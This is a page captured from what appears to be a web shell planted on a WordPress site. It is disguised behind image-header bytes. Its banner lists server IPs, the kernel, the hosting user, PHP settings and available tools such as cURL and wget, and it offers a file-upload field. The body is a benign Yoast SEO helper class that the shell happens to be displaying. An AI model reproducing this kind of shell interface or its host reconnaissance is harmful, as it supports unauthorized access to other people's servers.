????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././././proc/self/cwd/wp-content/plugins/wordpress-seo/src/helpers/ |
Upload File : |
<?php
namespace Yoast\WP\SEO\Helpers;
use WPSEO_Rank;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presenters\Score_Icon_Presenter;
/**
* A helper object for score icons.
*/
class Score_Icon_Helper {
/**
* Holds the Robots_Helper.
*
* @var Robots_Helper
*/
protected $robots_helper;
/**
* Constructs a Score_Helper.
*
* @param Robots_Helper $robots_helper The Robots_Helper.
*/
public function __construct( Robots_Helper $robots_helper ) {
$this->robots_helper = $robots_helper;
}
/**
* Creates a Score_Icon_Presenter for the readability analysis.
*
* @param int $score The readability analysis score.
* @param string $extra_class Optional. Any extra class.
*
* @return Score_Icon_Presenter The Score_Icon_Presenter.
*/
public function for_readability( $score, $extra_class = '' ) {
$rank = WPSEO_Rank::from_numeric_score( (int) $score );
$class = $rank->get_css_class();
if ( $extra_class ) {
$class .= " $extra_class";
}
return new Score_Icon_Presenter( $rank->get_label(), $class );
}
/**
* Creates a Score_Icon_Presenter for the inclusive language analysis.
*
* @param int $score The inclusive language analysis score.
* @param string $extra_class Optional. Any extra class.
*
* @return Score_Icon_Presenter The Score_Icon_Presenter.
*/
public function for_inclusive_language( $score, $extra_class = '' ) {
$rank = WPSEO_Rank::from_numeric_score( (int) $score );
$class = $rank->get_css_class();
if ( $extra_class ) {
$class .= " $extra_class";
}
return new Score_Icon_Presenter( $rank->get_inclusive_language_label(), $class );
}
/**
* Creates a Score_Icon_Presenter for the SEO analysis from an indexable.
*
* @param Indexable|false $indexable The Indexable.
* @param string $extra_class Optional. Any extra class.
* @param string $no_index_title Optional. Override the title when not indexable.
*
* @return Score_Icon_Presenter The Score_Icon_Presenter.
*/
public function for_seo( $indexable, $extra_class = '', $no_index_title = '' ) {
$is_indexable = $indexable && $this->robots_helper->is_indexable( $indexable );
if ( ! $is_indexable ) {
$rank = new WPSEO_Rank( WPSEO_Rank::NO_INDEX );
$title = empty( $no_index_title ) ? $rank->get_label() : $no_index_title;
}
elseif ( empty( $indexable && $indexable->primary_focus_keyword ) ) {
$rank = new WPSEO_Rank( WPSEO_Rank::BAD );
$title = \__( 'Focus keyphrase not set', 'wordpress-seo' );
}
else {
$rank = WPSEO_Rank::from_numeric_score( ( $indexable ) ? $indexable->primary_focus_keyword_score : 0 );
$title = $rank->get_label();
}
$class = $rank->get_css_class();
if ( $extra_class ) {
$class .= " $extra_class";
}
return new Score_Icon_Presenter( $title, $class );
}
}